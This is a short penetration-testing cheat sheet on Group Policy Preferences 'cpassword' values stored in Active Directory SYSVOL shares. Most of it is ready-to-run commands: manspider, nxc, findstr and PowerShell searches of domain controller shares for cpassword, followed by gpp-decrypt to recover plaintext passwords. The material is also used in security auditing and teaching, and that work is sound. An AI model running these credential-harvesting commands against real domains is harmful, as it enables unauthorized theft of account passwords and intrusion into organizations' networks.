SYSVOL - GPP cpassword

Some Group Policy Preferences (GPP) items include a password. In the underlying XML, that password is stored as cpassword. It is encrypted with a known static key (effectively plaintext). These XML files reside in SYSVOL on domain controllers.

• Search Domain Controller SYSVOL SMB shares for cpassword.

Decrypt cpassword

gpp-decrypt <cpassword>

Locations

• \\<domain_fqdn>\SYSVOL\<domain_fqdn>\Policies\{GPO-GUID}\Machine\Preferences\*
• \\<domain_fqdn>\SYSVOL\<domain_fqdn>\Policies\{GPO-GUID}\User\Preferences\*

Search SMB SYSVOL for cpassword

MANSPIDER

manspider <dc_or_cidr> -d <domain> -u <user> -p '<pass>' --sharenames SYSVOL -e xml -c cpassword -n

KRB5CCNAME=<ccache> manspider <dc_or_cidr> -d <domain> -k --sharenames SYSVOL -e xml -c cpassword -n 

nxc

nxc smb <dc_or_cidr> -u <user> -p '<pass>' --spider SYSVOL --content --pattern cpassword

CMD

findstr /S /I /M /C:"cpassword" \\%USERDNSDOMAIN%\SYSVOL\*

PowerShell

Get-ChildItem "\\$env:USERDNSDOMAIN\SYSVOL" -Recurse -Filter *.xml -ErrorAction SilentlyContinue | Select-String -SimpleMatch -Pattern 'cpassword' | Select-Object -ExpandProperty Path -Unique